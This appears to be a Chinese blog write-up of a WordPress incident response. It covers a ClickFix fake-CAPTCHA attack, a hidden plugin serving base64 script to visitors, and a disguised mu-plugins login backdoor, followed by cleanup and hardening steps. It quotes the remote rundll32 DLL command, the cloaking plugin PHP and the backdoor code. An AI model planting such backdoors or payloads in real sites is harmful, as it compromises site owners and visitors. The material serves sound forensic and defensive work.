网站表面风平浪静,访客却频频中招。本文详细记录了一次针对 WordPress 的高级持续性威胁(APT)级的应急响应过程。攻击者不仅利用了最新的 ClickFix 剪贴板投毒 技术分发 Web3 恶意软件,还通过 “影子插件” 和伪装成 WooCommerce 核心代码的 mu-plugins 持久化后门 实现了对管理员的完美隐身。附保姆级查杀与加固指南。
薛定谔的恶意弹窗
事件的起因是,在未登录管理员账号的情况下访问博客首页,页面会突然拦截正常内容,弹出一个制作极为逼真的 Google reCAPTCHA 验证窗口。

弹窗用英文提示:“为了证明你不是机器人,请完成以下验证步骤:”
- 按下键盘上的 Win + R 键。
- 在运行窗口中,按下 Ctrl + V。
- 按下回车键完成验证。
⚠️ 杀招解析:ClickFix / ClearFake 攻击
这是一个典型且极度危险的社会工程学攻击。当你点击网页上伪造的“验证”按钮时,恶意 JavaScript 已经调用了浏览器的 Clipboard API,将以下恶意指令静默写入了你的系统剪贴板:
# 脱密后的指令示例
rundll32.exe \\svc3core.[恶意域名].net\verification.google,#1
原理: 只要访客乖乖按下 Win+R 和 Ctrl+V 并回车,Windows 系统就会通过 SMB 协议 直接连接到攻击者的远程服务器,并利用系统自带的 rundll32.exe 执行远程的恶意 DLL 文件。
这种攻击完美绕过了浏览器的“恶意文件下载拦截”和本地杀毒软件的第一道防线,直接将木马植入访客电脑。
最诡异的是:当我以管理员账号登录 WordPress 后台再次访问首页时,这个弹窗凭空消失了。
阶段二:顺藤摸瓜 —— 审查前端源码,捕获隐形载荷
既然弹窗会根据登录状态“看人下菜碟”,我立刻开启了浏览器的无痕模式(Incognito),模拟普通访客重新访问首页,并迅速按下 F12(或 Ctrl+U)查看网页源代码。
在仔细排查 HTML 的 <head> 区域时,我在系统自带的 <meta name="generator" content="WordPress..."> 标签附近,抓到了“狐狸尾巴”: code Html
<!-- 网页源码中发现的异常注入 -->
<script src="data:text/javascript;base64,ZnVuY3Rpb24gXzB4MzkxNzU1KF...[此处省略数千字符的乱码]..."></script>
分析结果:
- 正常的网站脚本通常是通过 src="https://..." 引入外部 .js 文件,而这里直接使用了 data:text/javascript;base64,将整段恶意代码直接嵌在了 HTML 里。
- 攻击者为了逃避安全插件对 eval、fetch 等敏感词的扫描,将代码进行了 Base64 编码。
- 经验丰富的安全人员看到 ZnVuY3Rpb24 就会立刻警觉——这正是英文字符串 function 经过 Base64 编码后的固定开头!
有了这个**“冒烟的枪(Smoking Gun)”**,我就知道了后端该搜什么。
SSH 底层定位“影子插件”
既然前端看到了注入的代码,下一步就是找出是哪个后端文件输出了它。登录服务器 SSH,进入网站根目录。
1. 寻找隐形载荷
通过SSH访问服务器,直接在全站目录下 grep 搜索刚才提取的 Base64 特征头部 ZnVuY3Rpb24
# 在网站根目录执行全盘特征码检索
grep -rn "ZnVuY3Rpb24" .
斩获线索: 搜索结果显示,大量的静态缓存文件(wp-content/cache/all/)已被污染,而在核心插件目录下,揪出了一个名为 hseo 的插件:
./wp-content/plugins/hseo/hseo.php
查看 hseo.php 的源码,其“薛定谔”的隐身逻辑终于真相大白:
function wp_smile_face() {
// 检查当前用户是否有编辑文章的权限(是否为管理员/编辑)
$c = wp_get_current_user()->has_cap('edit_posts') ? 1 : 0;
// 如果是没有权限的普通访客,则输出恶意 Base64 脚本
if ($c == 0){
echo "<script src=\"data:text/javascript;base64,ZnVuY3Rpb24...[恶意Payload]...\"></script>";
}
}
// 通过 wp_head 钩子挂载到所有页面的头部
add_action("wp_head", "wp_smile_face");
2. 为什么后台看不到它?(影子插件)
我去 WordPress 后台的“已安装插件”列表查看,根本找不到这个名为 hseo 的插件。
进一步排查发现,攻击者将它变成了一个影子插件(Ghost Plugin):他们没有通过正常途径安装,而是利用漏洞直接写入文件系统,并隐蔽加载,完美跳过了 UI 层的展示。
揪出 mu-plugins 里的“守门人”
我果断删除了 hseo 文件夹,并清空了缓存。本以为万事大吉,但出于直觉,我决定检查一下最近被修改的文件:
# 查找最近 7 天内被修改过的所有 php 文件
find . -mtime -7 -name "*.php"
结果令人背后发凉:除了正常的系统文件,我还注意到了一个极易被站长忽略的目录:wp-content/mu-plugins/(Must-Use Plugins,必须使用的插件,无需激活,自动全站运行)。
在该目录下,我发现了一个伪装得极深的 .php 文件。
🎭 堪称艺术的“代码级伪装”
打开该文件,前 100 多行全是被注释掉的 WooCommerce 核心代码:
<?php
if (!defined('ABSPATH')) {
http_response_code(403);
exit('Direct access forbidden');
}
/**
// Load core packages and the autoloader.
require __DIR__ . '/src/Autoloader.php';
...[几百行毫无意义的 WooCommerce 正常代码,用来做审查烟雾弹] ...
**/
如果站长只是用 cat 命令随便扫一眼,大概率会以为这是网店插件留下的缓存或遗留配置。
但拉到文件最底部,图穷匕见——这里藏着登录劫持与暗门逻辑:
add_action('init', function () {
// 监控目标:如果不是 wp-login.php 登录页,就跳过
if (basename($_SERVER['SCRIPT_NAME']) !== 'wp-login.php') { return; }
// 黑客设置的访问暗号
$WO = 'olY';
$LO = 'un';
// 如果 URL 参数带有 ?un=olY,则放行(黑客自己登录的后门)
if (isset($_GET[$LO]) && $_GET[$LO] === $WO) { return; }
// 否则,直接返回 403 Forbidden 或强制重定向,把真正的站长挡在门外
status_header(403);
header('HTTP/1.1 403 Forbidden', true, 403);
exit;
}, 5);
这是一个标准的 Gatekeeper(守门人)后门,用于维持攻击者对网站的控制权。
手把手保姆级清理与加固指南
既然摸清了底细,接下来就是雷霆手段的物理查杀。以下是完整的操作 SOP:
第一步:物理斩首(斩断恶意逻辑)
在 SSH 终端中,不给恶意程序任何利用后台触发自毁或转移的机会,直接暴力删除:
# 1. 删除影子插件
rm -rf wp-content/plugins/hseo
# 2. 删除必须使用插件目录下的后门
rm -f wp-content/mu-plugins/*.php
# 3. 删除长期不更新、存在已知漏洞风险的旧主题(本次案例中为 Argon)
rm -rf wp-content/themes/argon
第二步:缓存大洗白(防止毒页面残留)
攻击者虽然死了,但生成的带毒 HTML 还在缓存里。
# 清空由缓存插件生成的静态页面
rm -rf wp-content/cache/*
第三步:数据库深潜(Docker + MySQL 查杀)
我们需要直接进入容器内排查数据库中是否有持久化的恶意代码。
# 1. 获取 MySQL 容器名
docker ps | grep mysql
# 2. 登入容器 (替换其中的账户和数据库名)
docker exec -it mysql-xxx mysql -u xxxx -p xxxx
在 MySQL 命令行中执行核心排查语句: code SQL
-- 检查配置表中是否有隐蔽的恶意 JS 或 Base64 脚本
SELECT option_id, option_name, option_value FROM wp_options
WHERE option_value LIKE '%activefusioncore%'
OR option_value LIKE '%base64%';
-- 检查后台合法插件(如 Header/Footer Code)的设置框是否被悄悄填入了恶意代码
SELECT * FROM wp_options WHERE option_name LIKE '%head_footer_code%';
-- 确认影子插件是否还留在激活列表中
SELECT option_value FROM wp_options WHERE option_name = 'active_plugins';
(注:本次排查结果数据库层已无残留。如果查出异常,直接使用 UPDATE wp_options SET option_value = '' WHERE option_id =[ID]; 清空对应字段即可。)
第四步:重塑金身(覆盖核心与强制下线)
- 重装 WP 核心: 在 WordPress 后台点击“更新” -> “重新安装最新版本”。这会用官方纯净包覆盖 wp-admin 和 wp-includes,冲掉可能存在的底层篡改。
- 强制全员下线: 打开网站根目录的 wp-config.php,访问WordPress 官方 SALT 生成器 获取新密钥,替换掉原有的 8 行 AUTH_KEY 等常量。这会让黑客的登录 Session 瞬间失效。
- 权限锁死: 在 wp-config.php 中追加一行,禁止以后在后台直接编辑代码:PHP
define('DISALLOW_FILE_EDIT', true);
结语与安全反思
经过 观察,通过更换 IP、无痕模式反复测试,首页不再出现伪造弹窗,网站脱离危险。
本次攻防复盘的三个血泪教训:
- 前端溯源是第一步: 弹窗不会凭空出现,F12 审查源码、提取特征码(如 ZnVuY3Rpb24)是后端查杀的指南针。
- 停更的主题/插件是定时炸弹: 无论多么美观,只要开发者放弃维护超过一年,果断换掉。漏洞扫描器往往最先盯上它们。
- 重视 mu-plugins 目录: 它是黑客最爱的隐形战壕,利用大段正常代码做“烟雾弹”掩护后门的手段极其狡猾。
网络安全是一场没有终点的对抗,希望这篇排查实录能帮到正在遭遇相似攻击的站长们。当你发现异常时,不要慌,查前端,拔网线(维护模式),连 SSH,开上帝视角查杀。

Comments NOTHING